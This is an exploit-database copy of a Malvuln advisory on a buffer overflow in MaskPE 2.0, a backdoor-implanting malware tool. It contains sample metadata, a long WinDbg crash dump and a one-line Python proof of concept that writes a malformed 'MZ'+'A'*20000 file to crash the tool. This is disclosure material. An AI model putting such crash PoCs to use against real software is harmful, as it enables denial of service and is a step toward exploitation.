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Backdoor.Win32.Nucleroot.bi - MaskPE 2.0 / File Based Buffer Overflow

CVE Category Price Severity
CWE-119 $10,000 High
Author Risk Exploitation Type Date
MaskPE High Local 2021-01-16
CPE
cpe:cpe:/a:backdoor:win32-nucleroot-bi-maskpe-2-0-file-based-buffer-overflow
CVSS EPSS EPSSP
CVSS:Not Provided 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010125

Below is a copy:

Backdoor.Win32.Nucleroot.bi - MaskPE 2.0 / File Based Buffer Overflow
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/25e0570cc803cd77abc2268b41237937.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Nucleroot.bi - MaskPE 2.0
Vulnerability: File Based Buffer Overflow
Description: MaskPE by yzkzero is a tool for implanting backdoors in existing PE files. The Backdoor tool doesnt properly check the files it loads and falls victim to a file based local buffer overflow.
Type: PE32
MD5: 25e0570cc803cd77abc2268b41237937
Network Access: Local
Vuln ID: MVID-2021-0027
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021

Memory Dump:
The stored exception information can be accessed via .ecxr.
(918.3fc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=41414101 esi=00000003 edi=00000003
eip=773ced3c esp=0019e780 ebp=0019e910 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200212
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h


0:000> .ecxr
eax=456a4141 ebx=764db900 ecx=41414141 edx=41414101 esi=0019fbc0 edi=0019fbc0
eip=0040a0a3 esp=0019f0a0 ebp=024a1780 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
*** WARNING: Unable to verify checksum for Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3:
0040a0a3 813850450000    cmp     dword ptr [eax],4550h ds:002b:456a4141=????????



0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
0040a0a3 813850450000    cmp     dword ptr [eax],4550h

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040a0a3 (Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x0000a0a3)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 456a4141
Attempt to read from address 456a4141

PROCESS_NAME:  Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  456a4141

READ_ADDRESS:  456a4141 

FOLLOWUP_IP: 
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
0040a0a3 813850450000    cmp     dword ptr [eax],4550h

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000003fc

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 00404ea6 to 0040a0a3

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f0a0 00404ea6 00000001 0019fb4c 0019f410 Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3
0019fb4c 00000000 00000000 00000000 00000000 Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x4ea6


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937

IMAGE_NAME:  Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  44672333

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3

Followup: MachineOwner


Exploit/PoC:
python -c "print( 'MZ'+'A'*20000)" > doom.exe

Load it into MaskPE and BOOM!


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